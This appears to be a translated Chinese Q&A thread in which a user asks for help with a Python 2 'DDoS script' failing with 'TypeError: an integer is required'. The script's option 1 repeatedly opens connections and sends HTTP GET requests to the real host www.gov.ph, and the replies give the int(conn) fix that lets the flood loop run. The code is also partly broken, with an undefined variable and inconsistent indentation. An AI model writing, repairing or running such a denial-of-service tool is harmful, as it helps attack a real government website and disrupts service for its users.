我的脚本中收到"TypeError: an integer is required"消息



我试图在python中制作一个非常简单的DDoS脚本,但我似乎得到了这个输出:

for i in xrange(conn):
TypeError: an integer is required

请帮忙,我不知道为什么输出是这样的。谢谢。

下面是我的脚本:

    #usr/bin/python
"""
"""
import time, socket, os, sys, string, random, subprocess
from flask import Flask
from colorama import *
init()

# useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
version = "0.0.1]"
subprocess.call('clear', shell=True)
def main():
    print(Fore.RED + "t  ,/         .  ")
    print("t ((           )) ")
    print("t  `.       ,'   ")
    print("t   )')     (`(   ")
    print("t ,'`/       ,`. ")
    print("t(`-(         )-')")
    print("t  -')     (`-/  ")
    print("t  /`'       `'  ")
    print("t (  _       _  ) ")
    print("t | (      / ) | ")
    print("t |  `.   /,'  | ")
    print("t |    ` /'    | ")
    print("t (             ) ")
    print("t             /  ")
    print("t            /   ")
    print("t    `.     ,'    ")
    print("t      `-.-'      ")
    print("t             [v" + version)
        print "nSelect option:"
        print
        print "t [1] Berry DDoSer"
        print "t [2] Start Webgui (Currently Still in Beta)"
    print "nt [0] Exit"
        print
        print
        choice = raw_input(Fore.BLUE + 'berry > ')
        print
        if choice == '1':
            print ("[!] DDoS Mode Loaded")
            host = 'www.gov.ph'
            port = 80
            conn = raw_input("How many connections do you want to make: ")
            ip = socket.gethostbyname( host )
            def dos():
                ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                try:
                    ddos.connect((host, 80))
                    ddos.send( "GET /%s HTTP/1.1rn" % message )
                    ddos.sendto( "GET /%s HTTP/1.1rn" % message, (ip, port) )
                    ddos.send( "GET /%s HTTP/1.1rn" % message )
                except socket.error, msg:
                    print("[!] [Connection Failed]")
                print("[DDoS Attack Servering on port %s..." + port)
                ddos.close()
            for i in xrange(conn):
                dos()
        if choice == '2':
            app = Flask(__name__)
            @app.route("/")
            def web_start():
                return '''
                <html>
                <head>
                <style>
                body{
                background-color: yellow;
                }
                </style>
                </head>
                <body>
                <center>
                    <h1 style="color: red;">Hello</h1>
                    <button id="testButton">Test button</button>
                    </center>
                </body>
                </html>
                '''
            if __name__ == "__main__":
                app.run()
        if choice == "exit" or choice == '0':
            raw_input("t[!] Quiting Session...")
            print("n[!] Session Closed.")
            exit()

if __name__ == '__main__':
    main()

注意其他的东西,ddos脚本是与选项1

conn作为字符串被读入。尝试将其转换为int类型。xrange(int(conn))

我想你应该试着用xrange(int(conn)代替xrange(conn)

相关内容

最新更新